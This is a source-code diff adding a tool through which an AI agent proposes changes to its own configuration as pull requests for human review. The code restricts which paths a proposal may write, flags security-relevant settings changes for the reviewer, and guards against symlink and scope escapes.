diff --git a/nerve/agent/tools/handlers/__init__.py b/nerve/agent/tools/handlers/__init__.py index ce531dbb..9d111d5a 100644 --- a/nerve/agent/tools/handlers/__init__.py +++ b/nerve/agent/tools/handlers/__init__.py @@ -9,6 +9,7 @@ from nerve.agent.tools.registry import ToolRegistry +from nerve.agent.tools.handlers.config_pr import CONFIG_PR_SPECS from nerve.agent.tools.handlers.hoa import HOA_SPECS from nerve.agent.tools.handlers.mcp_admin import MCP_ADMIN_SPECS from nerve.agent.tools.handlers.memory import MEMORY_SPECS @@ -39,6 +40,7 @@ def build_default_registry() -> ToolRegistry: *SKILL_SPECS, *NOTIFICATION_SPECS, *MCP_ADMIN_SPECS, + *CONFIG_PR_SPECS, *WAKEUP_SPECS, *WORKFLOW_RUN_SPECS, *REVIEW_LOOP_SPECS, diff --git a/nerve/agent/tools/handlers/config_pr.py b/nerve/agent/tools/handlers/config_pr.py new file mode 100644 index 00000000..19d68197 --- /dev/null +++ b/nerve/agent/tools/handlers/config_pr.py @@ -0,0 +1,113 @@ +"""Tool handler: propose_config_change — open a PR against the workspace repo. + +This is how the agent changes its own configuration (skills, cron, settings) +when it can't edit the live workspace directly — always under lockdown, and the +recommended reviewed path otherwise. See the `nerve-workspace` skill. +""" + +from __future__ import annotations + +import asyncio +import logging +import time + +from nerve.agent.tools.registry import ToolContext, ToolResult, ToolSpec +from nerve.agent.tools.schemas import PROPOSE_CONFIG_CHANGE_SCHEMA + +logger = logging.getLogger(__name__) + + +async def propose_config_change_handler(ctx: ToolContext, args: dict) -> ToolResult: + from pathlib import Path + + from nerve.config_pr import propose_config_change + + config = ctx.config + if config is None: + return ToolResult.text("Config not available.", is_error=True) + + workspace = Path(config.workspace) + config_dir = Path(config.config_dir) if config.config_dir else workspace + title = args["title"] + body = args.get("body", "") + changes = args["changes"] + + try: + result = await asyncio.to_thread( + propose_config_change, + workspace, config_dir, title, body, changes, int(time.time()), + # The branch sync pulls from, so a merged proposal actually reaches + # this instance. Empty is a real setting — the tool falls back to + # origin's default rather than to whatever this checkout is on. + base=config.workspace_sync.branch, + ) + except Exception as e: # noqa: BLE001 + logger.error("propose_config_change failed: %s", e) + return ToolResult.text(f"Could not open PR: {e}", is_error=True) + + if result.ok: + text = f"Opened PR on branch `{result.branch}`:\n{result.pr_url}" + if result.code_paths: + # Validation never runs or parses a bundle's own code, so the + # reviewer is the only check on it. Say it here too: the tool only + # recognizes the effects it knows about, and the agent knows what it + # actually intended. + listed = ", ".join(f"`{p}`" for p in result.code_paths) + text += ( + f"\n\nThis PR changes what runs on the instance ({listed}) and the " + "PR body says so. Nothing validates it — repeat it in your own " + "words when you report the PR." + ) + return ToolResult.text(text) + if result.validation_errors: + errs = "\n".join(f"- {e}" for e in result.validation_errors) + return ToolResult.text( + f"Change is invalid — no PR opened. Fix these and retry:\n{errs}", + is_error=True, + ) + if result.no_remote_configured: + # A workspace with no repo to propose against, which is what an ordinary + # local install is. Said here rather than in config_pr, which is handed a + # workspace and not told whether the instance is locked; and said at the + # point of failure rather than left to the skill, because an agent that + # reasons from the error text is the case that goes wrong — it has been + # told to always propose, the tool has refused, and without this it + # concludes the config cannot be changed on a box where writing the file + # is both allowed and correct. + if config.lockdown: + return ToolResult.text( + f"Cannot open a PR: {result.message}\n\nThis instance is locked, so " + "editing the files directly will not work either — tracked config " + "only changes by syncing a merged change. Ask the operator to point " + "the workspace at a config repo.", + is_error=True, + ) + return ToolResult.text( + f"No PR opened: {result.message}\n\nThis instance is not locked and its " + "workspace is local, so there is no review to route through. Edit the " + f"files under {workspace} directly instead, and say what you changed.", + is_error=True, + ) + return ToolResult.text(f"Could not open PR: {result.message}", is_error=True) + + +PROPOSE_CONFIG_CHANGE_SPEC = ToolSpec( + name="propose_config_change", + description=( + "Propose a change to your own configuration (skills, cron jobs, settings) " + "by opening a pull request against the workspace git repo, for human " + "review. Use this — never edit tracked config files directly — when the " + "instance is locked (remote-only), or whenever a reviewed change is " + "wanted. Provide the FULL new content of each file you want to change; " + "paths are relative to the workspace root (e.g. 'config/cron/jobs.yaml') " + "and must be reviewed configuration — 'config/…', 'skills/…', or a " + "workspace-root instruction file. The change is validated before the PR " + "is opened; an invalid change, or any path outside that surface, is " + "rejected with the reasons to fix and no PR is opened." + ), + input_schema=PROPOSE_CONFIG_CHANGE_SCHEMA, + handler=propose_config_change_handler, +) + + +CONFIG_PR_SPECS = [PROPOSE_CONFIG_CHANGE_SPEC] diff --git a/nerve/agent/tools/schemas.py b/nerve/agent/tools/schemas.py index 2f0ad3c6..ffc3a563 100644 --- a/nerve/agent/tools/schemas.py +++ b/nerve/agent/tools/schemas.py @@ -849,3 +849,51 @@ "properties": {}, "required": [], } + +# ----- Config self-modification ----- + +PROPOSE_CONFIG_CHANGE_SCHEMA = { + "type": "object", + "properties": { + "title": { + "type": "string", + "description": "PR title — a concise summary of the config change.", + }, + "body": { + "type": "string", + "description": "PR description: what changed and why (Markdown).", + "default": "", + }, + "changes": { + "type": "array", + "description": ( + "Files to write in the PR, each the FULL new file content. Paths " + "are relative to the workspace root (e.g. 'config/cron/jobs.yaml', " + "'skills/my-skill/SKILL.md') and must be reviewed configuration: " + "anything under 'config/' or 'skills/', or a workspace-root " + "instruction file (SOUL.md, IDENTITY.md, USER.md, AGENTS.md, " + "TOOLS.md). Runtime state (MEMORY.md, TASK.md, memory/) and the " + "rest of the repository are refused, as is any executable file " + "other than a cron gate plugin at 'config/cron/gates/.py'. " + "A single refused path rejects the whole proposal — nothing is " + "dropped silently." + ), + "items": { + "type": "object", + "properties": { + "path": { + "type": "string", + "description": ( + "Path relative to the workspace root, inside " + "'config/', 'skills/', or a root instruction file." + ), + }, + "content": {"type": "string", "description": "Full new content of the file."}, + }, + "required": ["path", "content"], + }, + "minItems": 1, + }, + }, + "required": ["title", "changes"], +} diff --git a/nerve/config_pr.py b/nerve/config_pr.py new file mode 100644 index 00000000..a53629ea --- /dev/null +++ b/nerve/config_pr.py @@ -0,0 +1,785 @@ +"""Propose a config change as a PR against the workspace repo. + +This is how Nerve changes its own configuration when it can't (or shouldn't) edit +the live workspace directly — notably under lockdown, where runtime edits to +tracked config are blocked. Instead of touching the running workspace, it stages +the change in a throwaway git worktree off the branch sync pulls from, validates +it, pushes a branch, and opens a PR via ``gh`` for human review. Nothing in the +live working tree is modified (so it never conflicts with ff-only sync). + +**What this is for.** A change that goes through here is reviewed, attributable +and recorded in the repository's history. It is not a barrier and cannot be one: +the agent has a shell, and a determined one can write the same files directly. +Lockdown and this tool exist so that the audit trail is honest, not so that the +alternative is impossible. That is also why a change with an executable effect is +*flagged* rather than refused — the goal is that the human approving the pull +request knows what they are approving. +""" + +from __future__ import annotations + +import logging +import re +import shutil +import subprocess +import tempfile +from dataclasses import dataclass, field +from pathlib import Path + +import yaml + +from nerve.config import _is_within +from nerve.sync_service import _git, is_git_repo + +logger = logging.getLogger(__name__) + +_GIT_TIMEOUT_SECONDS = 120 + +# Used only when git cannot work out a committer itself. A daemon on a server +# often has no global git identity, and `git commit` then fails outright with +# "empty ident name" — at which point the branch and the worktree already exist +# and a proposal that was entirely valid reports failure. `.invalid` is the +# reserved TLD (RFC 2606), so this can never resolve to a real mailbox. +_FALLBACK_COMMITTER = ("Nerve", "nerve@nerve.invalid") + +# What a proposal may change, relative to the workspace root. An allowlist, not a +# list of forbidden paths, because the workspace repo is also the repo the daemon +# runs out of: ``.git/hooks/``, ``.github/workflows/`` (the CI that validates the +# bundle) and ``scripts/`` (which the notification handlers shell out to) are all +# reachable from a "config change" that is only checked for traversal, and none of +# them are config. Anything not named below stays out of scope. +_ALLOWED_DIRS = ("config", "skills") + + +def _committer_args(cwd: Path) -> list[str]: + """``-c user.*`` overrides, but only when git cannot resolve an identity. + + Asked unconditionally, these would override a real operator identity and + attribute every config PR to the daemon, so defer to whatever is configured + and step in only when there is nothing at all. ``git var`` is the question + git itself answers, rather than reading config keys and re-deriving its + precedence rules here. + """ + if _git(["var", "GIT_COMMITTER_IDENT"], cwd).returncode == 0: + return [] + name, email = _FALLBACK_COMMITTER + logger.info( + "No git identity configured; committing the proposal as %s <%s>", name, email, + ) + return ["-c", f"user.name={name}", "-c", f"user.email={email}"] + +# Workspace-root files that are the agent's own reviewed instructions. Not +# MEMORY.md, TASK.md or memory/: those are runtime state the instance rewrites +# for itself, and routing them through review would mean a pull request per +# thought while telling the reviewer nothing. +_ALLOWED_ROOT_FILES = frozenset({ + "SOUL.md", "IDENTITY.md", "USER.md", "AGENTS.md", "TOOLS.md", +}) + +# Names that decide how git renders or tracks the rest of the subtree. A +# ``.gitattributes`` marking ``config/`` binary or generated collapses every +# later diff under it, which removes the only thing the reviewer has to look at. +_REFUSED_NAMES = frozenset({".gitattributes", ".gitignore"}) + +# Suffixes read as code rather than configuration. +_CODE_SUFFIXES = frozenset({ + ".py", ".pyc", ".pyo", ".sh", ".bash", ".zsh", ".fish", ".pl", ".rb", + ".js", ".mjs", ".cjs", ".ts", ".ps1", ".php", +}) + +# The one place a proposal may carry code. Cron gate plugins are a supported +# feature — the daemon imports ``/config/cron/gates/*.py`` +# (non-recursively) at start-up and on every cron reload — so refusing them +# outright would make a legitimate config change inexpressible here and push it +# onto the unreviewed route. Everywhere else the proposable surface is YAML and +# Markdown, and a file of code in it is a code drop wearing a config change's +# title. +_GATE_PLUGIN_DIR = ("config", "cron", "gates") + +# Two lists of watched settings keys, judged by two different rules. Do not merge +# them: each rule is a bug when applied to the other list. +# +# _EFFECTFUL_SETTINGS_KEYS is judged by *presence* in the proposed file. These +# keys name something the daemon will run, and their safe state is not being +# there at all — so the question is "does the file I am approving spawn a +# subprocess", which is about the proposed file alone. Approving a rewrite of +# settings.yaml is approving every line in it, and a re-stated MCP server is +# still an MCP server the reviewer should have their eye on. +# +# _SECURITY_SETTINGS_KEYS is judged by *change* against the revision in the base +# branch. These keys are protections whose safe state is being switched on and +# stated, so presence would fire on the steady state — every settings proposal a +# locked instance ever made would flag its own unchanged `lockdown: true`, and a +# notice that always cries wolf teaches reviewers to scroll past it. Presence +# also cannot see the case that matters most: deleting the line disarms the +# control exactly as well as setting it false, and there is nothing present to +# notice. + +# Keys whose whole purpose is to name something the daemon will run: an MCP +# server it spawns, a CLI it shells out to, a directory of Python it imports. +# Deliberately short and deliberately incomplete — configuration is broadly +# effectful, and enumerating every key that eventually reaches a subprocess is a +# list that rots with the schema. This catches the ones a reviewer would most +# want called out; it is not a boundary and nothing depends on it being complete. +_EFFECTFUL_SETTINGS_KEYS = ( + ("mcp_servers",), + ("external_agents",), + ("codex",), + ("proxy",), + ("houseofagents",), + ("cron", "gate_plugins_dir"), +) + +# Key -> what turning it changes, quoted into the notice so the reviewer does not +# have to know the flag to judge the diff. +_SECURITY_SETTINGS_KEYS: dict[tuple[str, ...], str] = { + ("lockdown",): ( + "decides whether the machine-local config layers are read at all, " + "whether the legacy cron directory is honored, and whether the daemon " + "may write tracked config at runtime" + ), +} + +_SETTINGS_FILE = "config/settings.yaml" + +# Under ``portable_only`` a bundle with no portable config file at all is an +# error: a CI gate that validated nothing must not report success. A proposal is +# not that gate. The staged worktree is validated with the change already +# applied, so a proposal that creates the first ``config/settings.yaml`` carries +# its own portable layer — but one that only touches ``skills/`` or a root +# instruction file does not, and on a workspace ``nerve init`` made (skills/, no +# config/) that error would refuse it for something the proposal has no way to +# fix. Matched by its leading phrase, which +# ``test_the_tolerated_validation_error_is_still_the_one_produced`` pins, so a +# rewording fails there instead of quietly refusing valid proposals again. +_EMPTY_BUNDLE_ERROR = "nothing to validate:" + +# Distinguishes "the settings do not mention this key" from a key stated with a +# null or empty value, which ``None`` alone cannot (see +# :func:`_effectful_settings_keys`). +_ABSENT = object() + +# "The revision this is being compared against could not be established" — as +# opposed to a revision that was read and does not mention the key. See +# :func:`_current_settings`. +_UNKNOWN = object() + + +@dataclass +class ProposeResult: + ok: bool + pr_url: str = "" + branch: str = "" + message: str = "" + validation_errors: list[str] = field(default_factory=list) + #: Staged paths that change what runs (see :func:`_executable_effect`). + code_paths: list[str] = field(default_factory=list) + #: The workspace has no repo or no ``origin`` to propose against, as opposed + #: to a proposal that was refused or a step that failed. Set apart because it + #: is the one failure where the answer may be "don't use this tool": an + #: unlocked instance with a purely local workspace has nothing to open a PR + #: against and nothing stopping it editing the files. Callers that know + #: whether the instance is locked say so; this module is not given that. + no_remote_configured: bool = False + + +def _gh(args: list[str], cwd: Path) -> subprocess.CompletedProcess: + """Run a gh command; captured, never raises (missing gh → rc=1). + + Decoded like :func:`nerve.sync_service._git`, and for the same reason: gh + relays bytes it was handed — branch names, a remote's error text, a PR title + someone else wrote — and ``errors="strict"`` (the default, whatever the + codec) turns one such byte into an exception instead of output. This one is + called after the push, so raising here loses the message that says the branch + is already on the remote and the PR has to be opened by hand. + """ + try: + return subprocess.run( + ["gh", *args], cwd=str(cwd), capture_output=True, text=True, + encoding="utf-8", errors="replace", timeout=_GIT_TIMEOUT_SECONDS, + ) + except FileNotFoundError: + return subprocess.CompletedProcess(args, 1, "", "gh CLI not found on PATH") + except subprocess.TimeoutExpired: + return subprocess.CompletedProcess(args, 1, "", "gh command timed out") + except Exception as e: # noqa: BLE001 — bad cwd, OS refusal, undecodable output… + return subprocess.CompletedProcess(args, 1, "", f"could not run gh: {e}") + + +def _remote_default_branch(workspace: Path) -> str: + """The branch ``origin`` calls its default, or ``""`` if nothing can say. + + Deliberately not the local ``HEAD``. A proposal is a pull request against + the branch the remote merges into, and the checkout the workspace happens to + be sitting on says nothing about that: a workspace parked on a feature + branch would silently branch off and target *that* branch, carrying its + unmerged commits into the proposal's diff, and a detached HEAD — what a sync + leaves behind while it validates a rev — makes ``rev-parse --abbrev-ref + HEAD`` answer the literal string ``HEAD``, which then reaches ``git fetch + origin HEAD`` and ``gh pr create --base HEAD``. + + The remote is asked first because it is the only authoritative answer: + ``refs/remotes/origin/HEAD`` is a snapshot taken at clone time and nothing + refreshes it when the default branch is renamed, so trusting the cache can + target a branch that has not been the default for a year. The cache is the + fallback for a remote that cannot be reached. Empty means neither could + answer, which is a state a real workspace reaches: ``git remote add`` + followed by ``git fetch`` never writes the cached ref at all. + """ + ls = _git(["ls-remote", "--symref", "origin", "HEAD"], workspace) + if ls.returncode == 0: + for line in ls.stdout.splitlines(): + # "ref: refs/heads/mainHEAD", ahead of the plain sha line. + ref, _, name = line.partition("\t") + if name.strip() == "HEAD" and ref.startswith("ref: refs/heads/"): + return ref[len("ref: refs/heads/"):].strip() + cached = _git(["symbolic-ref", "--short", "refs/remotes/origin/HEAD"], workspace) + if cached.returncode == 0 and cached.stdout.strip().startswith("origin/"): + return cached.stdout.strip()[len("origin/"):] + return "" + + +def _slug(text: str, ts: int) -> str: + base = re.sub(r"[^a-z0-9]+", "-", text.lower()).strip("-")[:40] or "change" + return f"nerve-config/{base}-{ts}" + + +def _rel_escapes(rel: str) -> bool: + """True if an agent-provided path is absolute or contains a ``..`` component.""" + rel = str(rel) + if not rel or rel.startswith("/") or Path(rel).is_absolute(): + return True + return ".." in Path(rel).parts + + +def _is_code_name(name: str) -> bool: + """True if ``name`` names code. + + Not ``Path.suffix``, which calls a file named exactly ``.py`` suffix-less + while the gate-plugin loader's ``*.py`` glob matches it perfectly happily. + Trailing dots and spaces come off first: not every filesystem this can reach + keeps them, so ``gate.py.`` and ``gate.py`` may be the same file by the time + anything globs the directory. + """ + trimmed = name.rstrip(". ").lower() + return any(trimmed.endswith(suffix) for suffix in _CODE_SUFFIXES) + + +def _is_gate_plugin(parts: tuple[str, ...]) -> bool: + """True for ``config/cron/gates/.py`` — and only that. + + The loader globs the directory one level deep, so a nested path is not a gate + plugin: it would never be imported, and accepting it would be accepting code + on the strength of a directory prefix that means nothing. The name is matched + as the loader sees it, so a spelling the glob would miss (``gate.py.``, + ``gate.pyc``) is not a gate plugin and falls through to being refused. + """ + depth = len(_GATE_PLUGIN_DIR) + return ( + len(parts) == depth + 1 + and parts[:depth] == _GATE_PLUGIN_DIR + and parts[-1].lower().endswith(".py") + ) + + +def _proposal_path_problem(rel: str) -> str | None: + """Why a proposal may not write ``rel``, or ``None`` if it may. + + Scope, not containment. :func:`_rel_escapes` and :func:`_safe_dst` answer + "does this stay inside the workspace"; this answers "is this a configuration + change at all". Both are needed: a path can be perfectly contained and still + be a git hook, a CI workflow, or a helper script the daemon shells out to, + landed under a title that says it edits a cron schedule. + + Note what this is and is not. It does not stop the agent from writing the + config subtree — a shell command still can, which is why lockdown is + documented as a config-integrity control rather than a sandbox. It keeps the + *reviewed* route honest: what arrives on a reviewer's screen labelled "config + change" is config. + """ + if _rel_escapes(rel): + return "must be a path relative to the workspace root, with no '..' segments" + parts = Path(rel).parts + in_allowed_dir = len(parts) > 1 and parts[0] in _ALLOWED_DIRS + is_root_file = len(parts) == 1 and parts[0] in _ALLOWED_ROOT_FILES + if not (in_allowed_dir or is_root_file): + return ( + "outside the proposable surface. A proposal may change " + + ", ".join(f"{d}/…" for d in _ALLOWED_DIRS) + + " and the workspace-root instruction files (" + + ", ".join(sorted(_ALLOWED_ROOT_FILES)) + + "); runtime state (MEMORY.md, TASK.md, memory/) and the rest of the " + "repository are not reviewed configuration" + ) + if ".git" in parts: + return "git's own metadata is not configuration, and git will not track a path through .git/" + if parts[-1] in _REFUSED_NAMES: + return ( + f"{parts[-1]} decides how git renders and tracks everything beside it; " + "marking the subtree binary or generated would collapse the diff this " + "whole flow exists to put in front of a reviewer" + ) + if _is_code_name(parts[-1]) and not _is_gate_plugin(parts): + return ( + "a proposal carries configuration, not code. The only executable file " + "it may add is a cron gate plugin at config/cron/gates/.py" + ) + return None + + +def _safe_dst(root: Path, rel: str) -> Path | None: + """Resolve ``rel`` under ``root``, or None if it must not be written there. + + Re-checks :func:`_proposal_path_problem` — which only ever sees a string — + against the tree the change will actually land in. The worktree is checked + out from the remote, git tracks symlinks, and a reviewed bundle carrying + ``config/cron/gates`` as a symlink would make an allowed-looking path resolve + somewhere else entirely. Containment is judged with the same rule lockdown + uses for its own path guards. + + Landing inside the worktree is not enough — the path it lands *at* has to be + one a proposal may write too, or a symlink between two tracked directories + would let ``config/cron/gates/x.py`` (code, allowed there) be written as + ``skills/x.py`` (code, refused there). + """ + if _proposal_path_problem(rel): + return None + # One resolved root for both questions below. _is_within resolves whatever + # it is handed, so the raw root answers the same today — but a guard that + # judges containment against one spelling of the root and re-checks scope + # relative to another holds only for as long as the helper keeps resolving + # on the caller's behalf, and would go quiet, not loud, if it stopped. + root_resolved = root.resolve() + dst = (root / rel).resolve() + if dst == root_resolved or not _is_within(dst, root_resolved): + return None + if _proposal_path_problem(str(dst.relative_to(root_resolved))): + return None + return dst + + +def _settings_mapping(text: str) -> dict | None: + """``text`` read as a settings mapping, or ``None`` if it is not one. + + An empty file is a mapping with no keys, not a shape we failed to read: YAML + parses it to ``None`` and the loader treats it as "sets nothing", which is a + definite answer about every key in it. + """ + try: + parsed = yaml.safe_load(text) + except yaml.YAMLError: + return None + if parsed is None: + return {} + return parsed if isinstance(parsed, dict) else None + + +def _lookup(parsed: dict, key: tuple[str, ...]): + """The value at a dotted key path, or :data:`_ABSENT` if nothing states it.""" + node = parsed + for part in key: + if not isinstance(node, dict) or part not in node: + return _ABSENT + node = node[part] + return node + + +def _effectful_settings_keys(content: str) -> list[str]: + """Watched keys present in a proposed ``config/settings.yaml``. + + Presence, not truthiness. A watched key stated with a falsey value is still + a change to what runs, and is often the direction that matters, because the + loader does not read "empty" as "unset": ``cron: {gate_plugins_dir: ''}`` + resolves to ``Path('.')`` — the daemon's working directory, every ``*.py`` + in it imported and executed at start-up and on each cron reload — and + ``mcp_servers: {}`` withdraws the servers the merged config used to name. + Both parse and validate clean, so this notice is the only place a reviewer + would hear about either. A bare ``key:`` counts as stated too: the proposal + put the key there, and what the loader makes of the null is exactly what the + review is for. + + Unparseable or oddly-shaped content yields nothing: validation is about to + reject the change anyway, and guessing at a broken file would announce + effects the merged config would never have. + """ + parsed = _settings_mapping(content) + if parsed is None: + return [] + return [ + ".".join(key) + for key in _EFFECTFUL_SETTINGS_KEYS + if _lookup(parsed, key) is not _ABSENT + ] + + +def _current_settings(dst: Path) -> dict | object: + """What ``config/settings.yaml`` says *before* this proposal, or ``_UNKNOWN``. + + The staged worktree is checked out from the base branch and the file has not + been overwritten yet, so what is on disk here is exactly the revision the + pull request will be diffed against — which is the only thing that can say + whether a proposal moves a setting or restates it. + + A file that is not there is not unknown: the base branch states none of these + keys, and a proposal that also states none of them changes nothing. A file + that *is* there and cannot be read or parsed is genuinely unknown, and says + so — the revision nobody could read is precisely the one that might have had + ``lockdown: true`` in it, and staying quiet about that is the failure this + check exists to avoid. + """ + if not dst.exists(): + return {} + try: + text = dst.read_text(encoding="utf-8") + except (OSError, UnicodeDecodeError): + return _UNKNOWN + parsed = _settings_mapping(text) + return _UNKNOWN if parsed is None else parsed + + +def _shown(value) -> str: + """A watched value as the notice should spell it. + + Booleans in the file's own spelling, not Python's, so the notice quotes what + the reviewer will find on the line. "not stated" is not the same phrase as + ``false`` on purpose: it is the case a presence check cannot see, and naming + it is most of the point of reporting the transition at all. + """ + if value is _ABSENT: + return "not stated" + if isinstance(value, bool): + return "true" if value else "false" + return "null" if value is None else repr(value) + + +def _security_settings_change(content: str, dst: Path) -> str | None: + """Why a proposal's security keys need a reviewer's eye, or ``None``. + + Change against the base branch, not presence — see the note on + :data:`_SECURITY_SETTINGS_KEYS`. "Change" is judged on the *stated* value, so + absent and ``false`` are different even though both resolve to off: adding + ``lockdown: false`` to a file that never mentioned it puts a new line in the + diff about a control that is now pinned off in the tracked config, and that + is worth one notice on the one proposal that does it. Restating it on every + later proposal is not, and does not fire. + + Unreadable *proposed* content yields nothing, for the same reason + :func:`_effectful_settings_keys` does: validation will reject it and no PR + will be opened. Unreadable *current* content is the opposite case and is + reported — see :func:`_current_settings`. + """ + parsed = _settings_mapping(content) + if parsed is None: + return None + current = _current_settings(dst) + if current is _UNKNOWN: + names = ", ".join(".".join(key) for key in _SECURITY_SETTINGS_KEYS) + return ( + f"may change {names}: the revision in the base branch could not be " + "read or parsed, so this could not be compared and is reported " + "rather than assumed harmless" + ) + moved = [] + for key, why in _SECURITY_SETTINGS_KEYS.items(): + before, after = _lookup(current, key), _lookup(parsed, key) + if before != after: + moved.append( + f"{'.'.join(key)} ({_shown(before)} → {_shown(after)}), which {why}" + ) + return "changes " + "; ".join(moved) if moved else None + + +def _executable_effect(staged: str, dst: Path, content: str) -> str | None: + """Why the reviewer should look hard at this change, or ``None``. + + Judged against ``dst`` — where the file actually lands and what is already + there — rather than the path the caller asked for, because a tracked symlink + can make the two differ and the announcement has to describe the change that + is really being made. + + Reasons accumulate rather than short-circuit: a settings file the repository + happens to mark executable would otherwise be announced for its mode alone, + and the lockdown flip inside it would go unmentioned. + """ + reasons: list[str] = [] + if _is_code_name(Path(staged).name): + reasons.append("the daemon imports and runs this file") + elif dst.exists() and dst.stat().st_mode & 0o111: + # write_text keeps an existing file's mode, so replacing a tracked 755 + # file ships new code under the old permissions with no mode change in + # the diff to give it away. + reasons.append("replaces a file the repository marks executable") + if staged == _SETTINGS_FILE: + keys = _effectful_settings_keys(content) + if keys: + reasons.append( + f"declares {', '.join(keys)}, which name things the daemon runs" + ) + changed = _security_settings_change(content, dst) + if changed: + reasons.append(changed) + return "; ".join(reasons) or None + + +def _body_with_code_notice(body: str, effects: dict[str, str]) -> str: + """Put the executable effects at the top of the PR description.""" + if not effects: + return body + notice = ( + "**This proposal changes what runs on the instance.** Config validation " + "never executes or parses a bundle's own code, and never judges whether a " + "protection should be switched off, so this review is the only check on " + "the following:\n\n" + + "\n".join(f"- `{p}` — {why}" for p, why in effects.items()) + ) + return f"{notice}\n\n---\n\n{body}" if body else notice + + +def _staging_dir(workspace: Path) -> Path | None: + """A scratch directory for the staged worktree, or ``None`` if there is none. + + Beside the workspace by preference, so the worktree is not inside it: an + untracked directory in the workspace would show up in the status that ff-only + sync reads, and this module's promise is that the live tree is left alone. + + Falling back to the system temp directory because the parent being writable + is an assumption nothing else here makes — sync needs the workspace itself + writable and no more. A workspace provisioned into a root-owned directory + with the daemon running unprivileged is an ordinary locked-fleet layout, and + it is the parent that is refused there, not ``$TMPDIR``. Git does not mind + the worktree living on another filesystem. + """ + for parent in (workspace.parent, None): + try: + return Path(tempfile.mkdtemp( + prefix=".nerve-pr-", dir=str(parent) if parent else None, + )) + except OSError as e: + logger.warning("cannot stage a proposal in %s: %s", parent or "$TMPDIR", e) + return None + + +def propose_config_change( + workspace: Path, + config_dir: Path, + title: str, + body: str, + changes: list[dict], + now: int, + branch: str | None = None, + base: str = "", +) -> ProposeResult: + """Open a PR against the workspace repo with the given file changes. + + ``changes`` is a list of ``{"path": , "content": }``. + Every path must be inside the proposable surface (see + :func:`_proposal_path_problem`); one that is not rejects the whole proposal. + The change is staged in a temp worktree off ``base``, validated, and — only + if valid — pushed as a branch with a PR opened via ``gh``. ``branch`` names + that head branch; ``now`` is a unix timestamp used to make it unique. + + ``base`` is the branch to propose against: the one workspace sync pulls from + (``workspace_sync.branch``). Empty falls back to origin's default branch — + never the local ``HEAD``, see :func:`_remote_default_branch`. + + Never raises. + """ + workspace = Path(workspace) + if not is_git_repo(workspace): + return ProposeResult( + ok=False, no_remote_configured=True, + message=( + f"{workspace} is not a git repository, so there is nothing to open " + "a pull request against" + ), + ) + # Specifically ``origin``, not "a remote". Everything downstream names origin + # — the ls-remote, the fetch, the branch the worktree comes from, the push — + # and so does the sync that pulls merged config back (``sync_workspace``, + # which has no remote setting either). A workspace whose only remote is + # ``upstream`` is not a case to accommodate by following that name here: the + # proposal has to target the branch sync pulls from, so a PR against + # ``upstream`` would be one that can never reach the instance. Asked here + # rather than left to _remote_default_branch, which would report a missing + # origin as an unreachable one and prescribe a set-head that itself fails. + if _git(["remote", "get-url", "origin"], workspace).returncode != 0: + return ProposeResult( + ok=False, no_remote_configured=True, + message=( + "workspace has no 'origin' remote — a proposal is a PR against " + "the branch origin merges into, which is also where the workspace " + "sync pulls from. Add one with 'git remote add origin ' in " + f"{workspace}." + ), + ) + if not changes: + return ProposeResult(ok=False, message="no changes provided") + + # Screen every path BEFORE touching git. Refused paths reject the whole + # proposal rather than being dropped from it: dropping would open a PR whose + # title and body describe a change it does not contain, and would let a + # refused path go unnoticed by the agent and the reviewer both. + refused: list[str] = [] + for ch in changes: + rel = ch.get("path") if isinstance(ch, dict) else None + if not rel or "content" not in ch: + return ProposeResult(ok=False, message="each change needs a 'path' and 'content'") + problem = _proposal_path_problem(str(rel)) + if problem: + refused.append(f"{rel!r}: {problem}") + if refused: + return ProposeResult( + ok=False, + message=( + f"refused {len(refused)} of {len(changes)} proposed path(s) — the " + "proposal is rejected as a whole, nothing was dropped silently:\n" + + "\n".join(f"- {r}" for r in refused) + ), + ) + + # One resolved name for the base, used for the fetch, the worktree it is + # branched from and the PR's --base, so the three can never disagree. + # + # The caller's ``base`` is the branch sync pulls from. A proposal against any + # other branch is one the instance never receives, and it is worse than + # merely useless: the agent submits the full content of a file it read in the + # synced tree, so staging that over a different branch's revision reverts + # whatever that branch holds and the synced one does not — as a deletion in + # the diff, under a title that says the change adds a setting. + # + # An empty setting falls back to origin's default. Sync follows the + # checkout's upstream in that case, and this deliberately does not: a + # detached HEAD (what sync leaves behind while it validates a rev) or a + # feature checkout has no business choosing what a pull request targets. + base_branch = base or _remote_default_branch(workspace) + if not base_branch: + return ProposeResult( + ok=False, + message=( + "cannot work out origin's default branch, so there is no base to " + "propose against — origin is unreachable and the workspace has no " + "cached refs/remotes/origin/HEAD. Guessing (say 'main') would " + "branch off, and target, whatever that name happens to mean in " + "this repository. Run 'git remote set-head origin -a' in the " + "workspace, or make origin reachable, and retry." + ), + ) + branch = branch or _slug(title, now) + + fetch = _git(["fetch", "origin", base_branch], workspace) + if fetch.returncode != 0: + return ProposeResult( + ok=False, message=f"git fetch failed: {fetch.stderr.strip()}", + ) + + tmp = _staging_dir(workspace) + if tmp is None: + return ProposeResult( + ok=False, branch=branch, + message=( + f"nowhere to stage the proposal: neither {workspace.parent} nor the " + "system temp directory could be written to" + ), + ) + wt = tmp / "wt" + add = _git(["worktree", "add", "-b", branch, str(wt), f"origin/{base_branch}"], workspace) + if add.returncode != 0: + shutil.rmtree(tmp, ignore_errors=True) + return ProposeResult(ok=False, branch=branch, message=f"worktree add failed: {add.stderr.strip()}") + + try: + # Apply the proposed file contents into the staged worktree, classifying + # each change by where it lands and what was already there. + effects: dict[str, str] = {} + for ch in changes: + dst = _safe_dst(wt, ch["path"]) + if dst is None: # already screened upfront; defense-in-depth + return ProposeResult( + ok=False, branch=branch, + message=( + f"{ch['path']!r} does not land where it claims to inside the " + "staged worktree (a symlink in the repo?) — no PR opened" + ), + ) + staged = dst.relative_to(wt.resolve()).as_posix() + content = str(ch["content"]) + effect = _executable_effect(staged, dst, content) + if effect: + effects[staged] = effect + dst.parent.mkdir(parents=True, exist_ok=True) + dst.write_text(content, encoding="utf-8") + + code_paths = list(effects) + body = _body_with_code_notice(body, effects) + if effects: + logger.warning( + "propose_config_change: %s changes what runs on this instance: %s", + branch, ", ".join(f"{p} ({why})" for p, why in effects.items()), + ) + + # Validate the proposed bundle — never open a PR for a broken config. + # + # portable_only, because a pull request changes the portable layer alone + # and that is the layer every instance merging it will read. Overlaid, + # the machine-local config of whichever box happens to be proposing + # answers for the shared one: a proposal setting an invalid + # agent.backend passes here because this host's config.yaml names a valid + # one, and the boxes that merge it refuse to load. The masking also runs + # the other way — an explicit machine-local cron.jobs_file wins, and a + # proposed config/cron/jobs.yaml is then never opened at all. + from nerve.config_validate import validate_config_bundle + errors = [ + e for e in validate_config_bundle( + config_dir, 